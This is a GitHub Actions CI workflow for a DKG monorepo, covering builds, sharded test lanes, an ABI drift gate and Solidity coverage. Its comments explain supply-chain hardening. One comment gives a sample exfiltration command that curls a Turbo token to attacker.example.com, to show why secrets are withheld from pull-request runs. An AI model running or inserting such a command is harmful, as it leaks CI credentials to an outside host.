feat(context-graph): wire PCA id at registration so PCA agents can publish (rebase of #423) #1964
Workflow file for this run
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| name: CI | |
| # Trigger rules — chosen so the same SHA is never tested twice: | |
| # * push to main/v10-rc : always runs (merge-gate safety net, full | |
| # Solidity coverage, required status checks for protected branches). | |
| # * pull_request : runs on every open/synchronize/reopen event. | |
| # * No `push` trigger on feature branches (e.g. `test/**`). When a PR | |
| # is open, the `pull_request` event already covers every new commit; | |
| # when a PR is not open yet, developers can either open a draft PR | |
| # or trigger the workflow manually via `workflow_dispatch`. | |
| on: | |
| push: | |
| branches: [main, v10-rc] | |
| pull_request: | |
| branches: [main, v10-rc] | |
| workflow_dispatch: | |
| concurrency: | |
| # Per-PR / per-branch lock: cancels any earlier in-flight run for the | |
| # same ref as soon as a newer commit arrives. | |
| group: ci-${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }} | |
| cancel-in-progress: true | |
| # Minimum-needed token scope. All jobs only check out and run tests; nothing | |
| # pushes back to the repo, comments on PRs, publishes packages, or creates | |
| # releases — so `contents: read` is the only permission required. Without an | |
| # explicit block, the GITHUB_TOKEN inherits the org/repo default, which on | |
| # most older repos is the legacy "permissive" `contents: write + …` profile. | |
| # That permissive default is what a TeamPCP-style code-execution exploit on | |
| # any step needs to write to the repo or push a release tag. Locking it down | |
| # here is the single highest-leverage defence-in-depth control. | |
| permissions: | |
| contents: read | |
| jobs: | |
| # ------------------------------------------------------------------ | |
| # Detect which surface changed so we can gate the heavy Solidity | |
| # coverage+ratchet run to contract-touching PRs. On `push` events (merges | |
| # into v10-rc / main) the safety net always runs regardless of filters. | |
| # ------------------------------------------------------------------ | |
| changes: | |
| name: Detect changes | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 2 | |
| permissions: | |
| contents: read | |
| # `dorny/paths-filter` on a `pull_request` event reads the PR file | |
| # list via the Pull Requests REST API (`GET /repos/{owner}/{repo}/ | |
| # pulls/{number}/files`). Without `pull-requests: read` here, the | |
| # action fails with `Resource not accessible by integration` and | |
| # the whole CI run dies before the test matrix starts. Scoped to | |
| # this job only — every other job in this workflow does not call | |
| # the API and stays read-only on `contents`. | |
| pull-requests: read | |
| outputs: | |
| contracts: ${{ steps.filter.outputs.contracts }} | |
| steps: | |
| - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 | |
| with: | |
| persist-credentials: false | |
| - uses: dorny/paths-filter@d1c1ffe0248fe513906c8e24db8ea791d46f8590 # v3.0.3 | |
| id: filter | |
| with: | |
| filters: | | |
| contracts: | |
| - 'packages/evm-module/contracts/**' | |
| - 'packages/evm-module/test/**' | |
| - 'packages/evm-module/deploy/**' | |
| - 'packages/evm-module/scripts/**' | |
| - 'packages/evm-module/hardhat.*' | |
| - 'packages/evm-module/package.json' | |
| - '.github/workflows/ci.yml' | |
| # ------------------------------------------------------------------ | |
| # One canonical build. Every test job downloads this artifact instead | |
| # of rebuilding from scratch (saves ~3-4 min per job). | |
| # | |
| # IMPORTANT — two optimizations here make the sub-5-min wall-clock | |
| # possible: | |
| # | |
| # 1. `--filter='!@dkg-evm-module'` skips the 1m 54s hardhat compile | |
| # (Solidity→bytecode + typechain). No Node test lane consumes its | |
| # output — see the `Build all Node packages` step below for the | |
| # full analysis. | |
| # | |
| # 2. `build:packages` runs the existing package build graph while skipping | |
| # the Node UI `dist-ui/` bundle. Some packages still use Vite for their | |
| # own package output, but no test in CI reads the Node UI static bundle | |
| # at runtime — API tests never hit the static dashboard routes, the | |
| # daemon gracefully 404s when the dir is absent, and the node-ui vitest | |
| # suite fabricates its own temp staticDir. | |
| # | |
| # The default repo-root `pnpm build` remains the full developer/release | |
| # build and includes the Node UI Vite bundle. CI uses `build:packages` | |
| # here to keep this shared test artifact on the Node-UI-bundle-free path. | |
| # | |
| # Turbo remote cache is opt-in: if TURBO_TOKEN / TURBO_TEAM secrets | |
| # are set the build step will pull previously-cached outputs; with no | |
| # secrets the env vars are empty and turbo transparently no-ops. | |
| # We also cache .turbo/ via actions/cache so even without a remote | |
| # cache repeated builds on the same branch are fast. | |
| # ------------------------------------------------------------------ | |
| build: | |
| name: Build packages | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 10 | |
| steps: | |
| - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 | |
| with: | |
| persist-credentials: false | |
| - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0 | |
| - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 | |
| with: | |
| node-version-file: .nvmrc | |
| cache: pnpm | |
| # Cheap (~300 ms) audit that bans `Wallet.createRandom()` outside a | |
| # small allowlist of intentional call sites. See | |
| # `scripts/audit-create-random.mjs` for the incident this prevents | |
| # from regressing — pre-PR-#366 `ensureProfile` used the anti-pattern | |
| # to destroy nine testnet admin keys at registration time. | |
| - name: Audit Wallet.createRandom usage | |
| run: node scripts/audit-create-random.mjs | |
| # Unit tests for the audit lexer itself (string/template-literal | |
| # awareness, comment stripping, etc.). Catches regressions in the | |
| # bypass-resistance the audit relies on — e.g. the PR #371 fix where | |
| # `//` inside a string literal silently blanked real code after it. | |
| - name: Test audit-create-random lexer | |
| run: node --test scripts/audit-create-random.test.mjs | |
| - name: Install dependencies | |
| run: pnpm install --frozen-lockfile | |
| - name: Validate npm metadata points to v10 | |
| run: pnpm check:npm-metadata | |
| - name: Restore Turbo cache | |
| uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0 | |
| with: | |
| path: | | |
| .turbo | |
| packages/*/.turbo | |
| key: turbo-${{ runner.os }}-${{ github.ref }}-${{ github.sha }} | |
| restore-keys: | | |
| turbo-${{ runner.os }}-${{ github.ref }}- | |
| turbo-${{ runner.os }}-refs/heads/v10-rc- | |
| turbo-${{ runner.os }}- | |
| - name: Build all Node packages (evm-module hardhat compile short-circuits) | |
| # `@dkg-evm-module:build` normally runs `hardhat compile` which takes | |
| # ~1m 54s on CI (Solidity→bytecode + typechain bindings). It's the | |
| # single biggest chunk of the shared build, but nothing in CI's Node | |
| # test lanes consumes its output: | |
| # - `packages/chain` imports ABIs from `@dkg-evm-module/abi/*.json` | |
| # which are COMMITTED to the repo, not regenerated here | |
| # - Solidity unit tests (`tornado-solidity`) do their own | |
| # hardhat compile in their own lane, with its own cache | |
| # - Chain integration tests (`evm-integration.yml`) are a | |
| # separate workflow with their own hardhat setup | |
| # | |
| # `DKG_SKIP_EVM_BUILD=1` makes evm-module's `build` script a no-op | |
| # (short-circuits before `hardhat compile`; see package.json). We | |
| # can't just drop it from the turbo task graph via `--filter=!…` | |
| # because `@dkg-chain#build` declares evm-module as a workspace | |
| # dependency and turbo pulls it in transitively. Skipping the | |
| # command keeps the graph valid but moves the build from ~3 min to | |
| # ~1 min. | |
| run: pnpm run build:packages | |
| env: | |
| DKG_SKIP_EVM_BUILD: "1" | |
| # TURBO_TOKEN / TURBO_TEAM are scoped to `push` events ONLY. | |
| # On `pull_request` runs the package `build` scripts are | |
| # PR-controlled: a malicious PR could replace a `build` step | |
| # in any `packages/*/package.json` and exfiltrate the cache | |
| # credentials via `curl https://attacker.example.com -d "$TURBO_TOKEN"`. | |
| # Setting the secret to an empty string on PR runs makes turbo | |
| # transparently no-op its remote cache integration — local | |
| # `.turbo/` caching via `actions/cache` (above) still keeps | |
| # repeated builds on the same branch fast. Push-event runs on | |
| # protected branches keep the remote cache because by then | |
| # the code has already cleared branch-protection review. | |
| TURBO_TOKEN: ${{ github.event_name == 'push' && secrets.TURBO_TOKEN || '' }} | |
| TURBO_TEAM: ${{ github.event_name == 'push' && secrets.TURBO_TEAM || '' }} | |
| - name: Package build outputs | |
| run: | | |
| set -euo pipefail | |
| # Collect every emitted output: tsc dist/, optional Vite dist-ui/, | |
| # and the generated network/ dir the CLI copies during build. | |
| mapfile -t PATHS < <( | |
| find packages -maxdepth 2 -type d \ | |
| \( -name dist -o -name dist-ui -o -name network \) \ | |
| 2>/dev/null | sort -u | |
| ) | |
| echo "Packing ${#PATHS[@]} output dirs…" | |
| tar -czf /tmp/build-outputs.tgz "${PATHS[@]}" | |
| ls -lh /tmp/build-outputs.tgz | |
| - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 | |
| with: | |
| name: build-outputs | |
| path: /tmp/build-outputs.tgz | |
| retention-days: 1 | |
| if-no-files-found: error | |
| # ------------------------------------------------------------------ | |
| # Tornado core lane: core + storage + chain unit tests. These are all | |
| # sub-minute suites so we keep them bundled on one runner. | |
| # ------------------------------------------------------------------ | |
| tornado-core: | |
| name: "Tornado: core + storage + chain" | |
| needs: build | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 10 | |
| steps: | |
| - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 | |
| with: | |
| persist-credentials: false | |
| - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0 | |
| - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 | |
| with: | |
| node-version-file: .nvmrc | |
| cache: pnpm | |
| - name: Install dependencies | |
| run: pnpm install --frozen-lockfile | |
| - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0 | |
| with: | |
| name: build-outputs | |
| path: /tmp | |
| - name: Restore build outputs | |
| run: tar -xzf /tmp/build-outputs.tgz | |
| - name: "Core (442 tests)" | |
| run: pnpm --filter @origintrail-official/dkg-core test | |
| - name: "Storage (78 tests)" | |
| run: pnpm --filter @origintrail-official/dkg-storage test | |
| - name: "Chain unit (46 tests)" | |
| run: pnpm --filter @origintrail-official/dkg-chain test | |
| # ------------------------------------------------------------------ | |
| # Tornado publisher lane — sharded across 4 parallel runners. | |
| # Sharding history: | |
| # 2 shards → ~4 min each (became the wall-clock tail once `agent` | |
| # was bumped from 4→8 shards and the shared build got | |
| # the evm-module skip; 2-shard publisher pushed the | |
| # total past the 5-min target by ~3s) | |
| # 3 shards → previously saw a ~15s regression vs 2: the | |
| # publisher suite had a handful of long files whose | |
| # tail dominated, and paying fixed setup overhead for | |
| # an extra runner didn't help | |
| # 4 shards → current; with 57 test files ÷ 4 = ~14/shard the | |
| # long-pole file isn't isolated to one runner anymore | |
| # ------------------------------------------------------------------ | |
| tornado-publisher: | |
| name: "Tornado: publisher [${{ matrix.shard }}/4]" | |
| needs: build | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 10 | |
| strategy: | |
| fail-fast: false | |
| matrix: | |
| shard: [1, 2, 3, 4] | |
| steps: | |
| - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 | |
| with: | |
| persist-credentials: false | |
| - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0 | |
| - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 | |
| with: | |
| node-version-file: .nvmrc | |
| cache: pnpm | |
| - name: Install dependencies | |
| run: pnpm install --frozen-lockfile | |
| - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0 | |
| with: | |
| name: build-outputs | |
| path: /tmp | |
| - name: Restore build outputs | |
| run: tar -xzf /tmp/build-outputs.tgz | |
| - name: "Publisher tests (shard ${{ matrix.shard }}/4)" | |
| run: pnpm --filter @origintrail-official/dkg-publisher exec vitest run --shard=${{ matrix.shard }}/4 | |
| # ------------------------------------------------------------------ | |
| # Tornado agent lane — the slowest Node suite, sharded across 10 runners. | |
| # Sharding history: | |
| # 3 shards → 6+ min each (wall-clock tail) | |
| # 4 shards → ~4.5 min each (still the gating tail) | |
| # 8 shards → ~3m-3m 49s each (slowest shard 4m 16s → total 5m 18s) | |
| # 10 shards --shard=N/M (vitest hash) → slowest 4m 22s → total 4m 53s | |
| # 10 shards greedy bin-packed ← current. Three files dominate hook | |
| # wall-clock (e2e-privacy 47s, e2e-publish-protocol 43s, | |
| # e2e-flows 39s body + ~2 min of beforeAll hooks each). | |
| # vitest's default --shard=N/M hashes files to shards and | |
| # can land multiple heavies together (shard 8/10 previously | |
| # got e2e-publish-protocol + e2e-workspace-sync + gossip- | |
| # validation = ~80s body + stacked hooks → 4m 22s ceiling). | |
| # | |
| # Greedy bin-packing using historical per-file weights gives | |
| # each of the top-3 heavies its own shard and distributes | |
| # the remaining ~37 files evenly across the rest. Projected | |
| # ceiling is shard 1 (e2e-privacy alone, ~3m 30s total). | |
| # | |
| # Weights live in `scripts/ci-shard-agent.mjs` in this | |
| # package and are refreshed whenever per-file timings shift | |
| # meaningfully — unknown files default to a light weight and | |
| # fall into the lightest bin automatically. | |
| # ------------------------------------------------------------------ | |
| tornado-agent: | |
| name: "Tornado: agent [${{ matrix.shard }}/10]" | |
| needs: build | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 10 | |
| strategy: | |
| fail-fast: false | |
| matrix: | |
| shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] | |
| steps: | |
| - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 | |
| with: | |
| persist-credentials: false | |
| - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0 | |
| - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 | |
| with: | |
| node-version-file: .nvmrc | |
| cache: pnpm | |
| - name: Install dependencies | |
| run: pnpm install --frozen-lockfile | |
| - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0 | |
| with: | |
| name: build-outputs | |
| path: /tmp | |
| - name: Restore build outputs | |
| run: tar -xzf /tmp/build-outputs.tgz | |
| - name: "Agent tests (shard ${{ matrix.shard }}/10)" | |
| working-directory: packages/agent | |
| run: | | |
| set -euo pipefail | |
| mapfile -t SHARD_FILES < <(node scripts/ci-shard-agent.mjs ${{ matrix.shard }} 10) | |
| echo "::group::Agent shard ${{ matrix.shard }}/10 — ${#SHARD_FILES[@]} files" | |
| printf ' %s\n' "${SHARD_FILES[@]}" | |
| echo "::endgroup::" | |
| pnpm exec vitest run "${SHARD_FILES[@]}" | |
| # ------------------------------------------------------------------ | |
| # Bura lane — `cli` is the heaviest BURA package (CLI daemon, HTTP API, | |
| # auth, keystore, migration, indexer) so it owns a runner. The | |
| # remaining BURA package (`query`) runs on its own runner. | |
| # | |
| # Tier: BURA — `dkgv10-spec/CRITICALITY_CATEGORIZATION.md` §1. Packages | |
| # on the critical path for users/operators; auth & quorum bugs here | |
| # degrade service but do not threaten protocol consensus. | |
| # ------------------------------------------------------------------ | |
| bura-cli: | |
| name: "Bura: cli" | |
| needs: build | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 15 | |
| steps: | |
| - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 | |
| with: | |
| persist-credentials: false | |
| - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0 | |
| - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 | |
| with: | |
| node-version-file: .nvmrc | |
| cache: pnpm | |
| - name: Install dependencies | |
| run: pnpm install --frozen-lockfile | |
| - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0 | |
| with: | |
| name: build-outputs | |
| path: /tmp | |
| - name: Restore build outputs | |
| run: tar -xzf /tmp/build-outputs.tgz | |
| - name: "CLI tests" | |
| run: pnpm --filter @origintrail-official/dkg test | |
| bura-supporting: | |
| name: "Bura: query" | |
| needs: build | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 10 | |
| steps: | |
| - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 | |
| with: | |
| persist-credentials: false | |
| - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0 | |
| - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 | |
| with: | |
| node-version-file: .nvmrc | |
| cache: pnpm | |
| - name: Install dependencies | |
| run: pnpm install --frozen-lockfile | |
| - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0 | |
| with: | |
| name: build-outputs | |
| path: /tmp | |
| - name: Restore build outputs | |
| run: tar -xzf /tmp/build-outputs.tgz | |
| - name: "Query tests" | |
| run: pnpm --filter @origintrail-official/dkg-query run test | |
| # ------------------------------------------------------------------ | |
| # Kosava lanes — `node-ui` is heavy (React Testing Library, happy-dom) | |
| # so it owns a runner. Adapters + demo app + smaller utility packages | |
| # share one runner; they are fast and independent. | |
| # | |
| # Tier: KOSAVA — `dkgv10-spec/CRITICALITY_CATEGORIZATION.md` §1. | |
| # Supporting packages (UI, demos, adapters, EPCIS helpers, MCP bridge); | |
| # bugs here affect UX/demos, not protocol correctness. | |
| # ------------------------------------------------------------------ | |
| kosava-node-ui: | |
| name: "Kosava: node-ui" | |
| needs: build | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 15 | |
| steps: | |
| - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 | |
| with: | |
| persist-credentials: false | |
| - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0 | |
| - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 | |
| with: | |
| node-version-file: .nvmrc | |
| cache: pnpm | |
| - name: Install dependencies | |
| run: pnpm install --frozen-lockfile | |
| - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0 | |
| with: | |
| name: build-outputs | |
| path: /tmp | |
| - name: Restore build outputs | |
| run: tar -xzf /tmp/build-outputs.tgz | |
| - name: "node-ui tests" | |
| run: pnpm --filter @origintrail-official/dkg-node-ui test | |
| kosava-supporting: | |
| name: "Kosava: adapters + epcis + graph-viz + mcp-server + network-sim" | |
| needs: build | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 10 | |
| steps: | |
| - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 | |
| with: | |
| persist-credentials: false | |
| - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0 | |
| - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 | |
| with: | |
| node-version-file: .nvmrc | |
| cache: pnpm | |
| - name: Install dependencies | |
| run: pnpm install --frozen-lockfile | |
| - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0 | |
| with: | |
| name: build-outputs | |
| path: /tmp | |
| - name: Restore build outputs | |
| run: tar -xzf /tmp/build-outputs.tgz | |
| - name: "Supporting Kosava packages" | |
| run: | | |
| pnpm \ | |
| --filter @origintrail-official/dkg-epcis \ | |
| --filter @origintrail-official/dkg-mcp \ | |
| --filter @origintrail-official/dkg-network-sim \ | |
| --filter @origintrail-official/dkg-graph-viz \ | |
| --filter @origintrail-official/dkg-adapter-elizaos \ | |
| --filter @origintrail-official/dkg-adapter-hermes \ | |
| --filter @origintrail-official/dkg-adapter-openclaw \ | |
| run test | |
| # ------------------------------------------------------------------ | |
| # ABI freshness gate — guards the contract `auto-update.ts` deliberately | |
| # never invokes `hardhat compile` on node hosts (would OOM small VPS, | |
| # cold-solc on ARM64 trips the build timeout). It relies on the | |
| # COMMITTED `packages/evm-module/abi/*.json` being the runtime | |
| # contract surface (consumed by `packages/chain` via require()). | |
| # | |
| # This job catches the only way that contract can break: a contributor | |
| # changes a `.sol` file and forgets to commit the regenerated ABIs. | |
| # Runs only when `changes.outputs.contracts == 'true'` so PRs that | |
| # don't touch contracts pay zero cost. On failure prints an explicit | |
| # remediation command so the fix is one copy-paste away. | |
| # ------------------------------------------------------------------ | |
| abi-freshness: | |
| name: "Tornado: ABI freshness (committed abi/ vs hardhat compile)" | |
| needs: changes | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 10 | |
| if: needs.changes.outputs.contracts == 'true' | |
| steps: | |
| - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 | |
| with: | |
| persist-credentials: false | |
| - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0 | |
| - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 | |
| with: | |
| node-version-file: .nvmrc | |
| cache: pnpm | |
| - name: Install dependencies | |
| run: pnpm install --frozen-lockfile | |
| - name: Cache Hardhat artifacts | |
| uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0 | |
| with: | |
| path: | | |
| packages/evm-module/artifacts | |
| packages/evm-module/cache | |
| packages/evm-module/typechain | |
| # Hash both configs because abi/ regen depends on hardhat.config.ts | |
| # (which is what loads hardhat-abi-exporter; see the next step). | |
| key: hardhat-${{ runner.os }}-abi-${{ hashFiles('packages/evm-module/contracts/**/*.sol', 'packages/evm-module/hardhat.config.ts', 'packages/evm-module/hardhat.node.config.ts') }} | |
| restore-keys: | | |
| hardhat-${{ runner.os }}-abi- | |
| hardhat-${{ runner.os }}- | |
| - name: Compile contracts with the default config (regenerates abi/*.json) | |
| # Subtle: `pnpm --filter dkg-evm-module build` ultimately calls | |
| # `hardhat compile --config hardhat.node.config.ts`, which does NOT | |
| # have `hardhat-abi-exporter` wired in. Only the default | |
| # `hardhat.config.ts` imports the plugin and sets `abiExporter: | |
| # { runOnCompile: true, ... }`. Running `npx hardhat compile` | |
| # without a `--config` flag (so it picks up the default config) | |
| # is what actually regenerates `abi/*.json`. Without this, the | |
| # diff check below would always pass even with stale ABIs. | |
| run: npx hardhat compile | |
| working-directory: packages/evm-module | |
| - name: Verify committed abi/ matches regenerated abi/ | |
| # `git diff --exit-code` returns 1 if anything under abi/ changed | |
| # after compile. If so, the contributor forgot to commit the | |
| # regenerated ABIs; the auto-updater would then activate code | |
| # that loads stale ABIs against new contracts. Block the PR. | |
| run: | | |
| set -euo pipefail | |
| if ! git diff --exit-code -- packages/evm-module/abi/; then | |
| echo "::error title=ABI drift::Committed packages/evm-module/abi/*.json does not match the output of \`hardhat compile\` (default config)." | |
| echo "" | |
| echo "The auto-updater no longer runs hardhat compile on node hosts (see comment in packages/cli/src/daemon/auto-update.ts), so committed ABIs ARE the runtime contract surface. Drift here would silently activate stale ABIs against new contracts on every node." | |
| echo "" | |
| echo "To fix: regenerate and commit the ABIs locally:" | |
| echo "" | |
| echo " cd packages/evm-module && npx hardhat compile && cd -" | |
| echo " git add packages/evm-module/abi/" | |
| echo " git commit --amend --no-edit # or a fresh commit, your call" | |
| echo " git push --force-with-lease" | |
| echo "" | |
| exit 1 | |
| fi | |
| echo "OK: committed packages/evm-module/abi/ matches hardhat output." | |
| # ------------------------------------------------------------------ | |
| # Tornado Solidity lane — `packages/evm-module` is TORNADO-tier | |
| # (`dkgv10-spec/CRITICALITY_CATEGORIZATION.md` §1): bugs in the | |
| # contracts mean financial loss or consensus divergence. | |
| # - PR + no contract changes : no-op fast pass (keeps the required | |
| # check green without spinning up Hardhat). | |
| # - PR + contract changes : 4-way sharded hardhat test, no | |
| # coverage (~5-6 min per shard in | |
| # parallel; previously ~20 min single). | |
| # - push (main / v10-rc / …) : full coverage + ratchet safety net, | |
| # single job (coverage reports don't | |
| # compose across shards, so we keep | |
| # the safety-net job unsharded). | |
| # ------------------------------------------------------------------ | |
| solidity: | |
| name: "Tornado: Solidity [${{ matrix.shard }}/4]" | |
| needs: changes | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 15 | |
| # PR lane only — sharded 4 ways. Push lane runs the separate | |
| # solidity-coverage job below (full coverage + ratchet check). | |
| if: github.event_name == 'pull_request' | |
| strategy: | |
| fail-fast: false | |
| matrix: | |
| shard: [1, 2, 3, 4] | |
| steps: | |
| - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 | |
| with: | |
| persist-credentials: false | |
| - name: Skip — no contract changes on this PR | |
| if: needs.changes.outputs.contracts != 'true' | |
| run: echo "::notice::No contracts/*/test/hardhat changes detected — skipping Solidity shard ${{ matrix.shard }}/4. Full coverage still runs on push to main/v10-rc." | |
| - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0 | |
| if: needs.changes.outputs.contracts == 'true' | |
| - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 | |
| if: needs.changes.outputs.contracts == 'true' | |
| with: | |
| node-version-file: .nvmrc | |
| cache: pnpm | |
| - name: Install dependencies | |
| if: needs.changes.outputs.contracts == 'true' | |
| run: pnpm install --frozen-lockfile | |
| - name: Cache Hardhat artifacts | |
| if: needs.changes.outputs.contracts == 'true' | |
| uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0 | |
| with: | |
| path: | | |
| packages/evm-module/artifacts | |
| packages/evm-module/cache | |
| packages/evm-module/typechain | |
| key: hardhat-${{ runner.os }}-${{ hashFiles('packages/evm-module/contracts/**/*.sol', 'packages/evm-module/hardhat.node.config.ts') }} | |
| restore-keys: | | |
| hardhat-${{ runner.os }}- | |
| - name: Compile contracts | |
| if: needs.changes.outputs.contracts == 'true' | |
| run: npx hardhat compile --config hardhat.node.config.ts | |
| working-directory: packages/evm-module | |
| - name: "Hardhat tests (shard ${{ matrix.shard }}/4)" | |
| if: needs.changes.outputs.contracts == 'true' | |
| # Round-robin distribute the 48 .test.ts files across 4 | |
| # shards. `sort` gives deterministic ordering so the same file | |
| # always lands in the same shard across runs — makes failure | |
| # reproduction trivial. Hardhat accepts multiple positional | |
| # file paths as `hardhat test FILE1 FILE2 ...`. | |
| run: | | |
| set -euo pipefail | |
| cd packages/evm-module | |
| mapfile -t FILES < <(find test -type f -name '*.test.ts' | sort) | |
| SHARD_FILES=() | |
| SHARD_ID=${{ matrix.shard }} | |
| for i in "${!FILES[@]}"; do | |
| if (( (i % 4) + 1 == SHARD_ID )); then | |
| SHARD_FILES+=("${FILES[$i]}") | |
| fi | |
| done | |
| echo "::group::Shard ${SHARD_ID}/4 — ${#SHARD_FILES[@]} files" | |
| printf ' %s\n' "${SHARD_FILES[@]}" | |
| echo "::endgroup::" | |
| npx hardhat test --network hardhat --config hardhat.node.config.ts "${SHARD_FILES[@]}" | |
| env: | |
| NODE_OPTIONS: --max-old-space-size=8192 | |
| # ------------------------------------------------------------------ | |
| # Tornado Solidity coverage lane — safety net on push to main/v10-rc | |
| # only. Full Solidity suite + solidity-coverage + coverage ratchet. | |
| # Not sharded because solidity-coverage's instrumentation state | |
| # doesn't compose across parallel runners. Wall-clock on push is | |
| # not on the critical path so ~20-25 min here is acceptable. | |
| # ------------------------------------------------------------------ | |
| solidity-coverage: | |
| name: "Tornado: Solidity coverage (push safety net)" | |
| needs: changes | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 45 | |
| if: github.event_name != 'pull_request' | |
| steps: | |
| - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 | |
| with: | |
| persist-credentials: false | |
| - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0 | |
| - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 | |
| with: | |
| node-version-file: .nvmrc | |
| cache: pnpm | |
| - name: Install dependencies | |
| run: pnpm install --frozen-lockfile | |
| - name: Cache Hardhat artifacts | |
| uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0 | |
| with: | |
| path: | | |
| packages/evm-module/artifacts | |
| packages/evm-module/cache | |
| packages/evm-module/typechain | |
| key: hardhat-${{ runner.os }}-${{ hashFiles('packages/evm-module/contracts/**/*.sol', 'packages/evm-module/hardhat.node.config.ts') }} | |
| restore-keys: | | |
| hardhat-${{ runner.os }}- | |
| - name: Compile contracts | |
| run: npx hardhat compile --config hardhat.node.config.ts | |
| working-directory: packages/evm-module | |
| - name: Hardhat tests + Solidity coverage + ratchet check | |
| run: pnpm test:coverage | |
| working-directory: packages/evm-module | |
| env: | |
| NODE_OPTIONS: --max-old-space-size=8192 |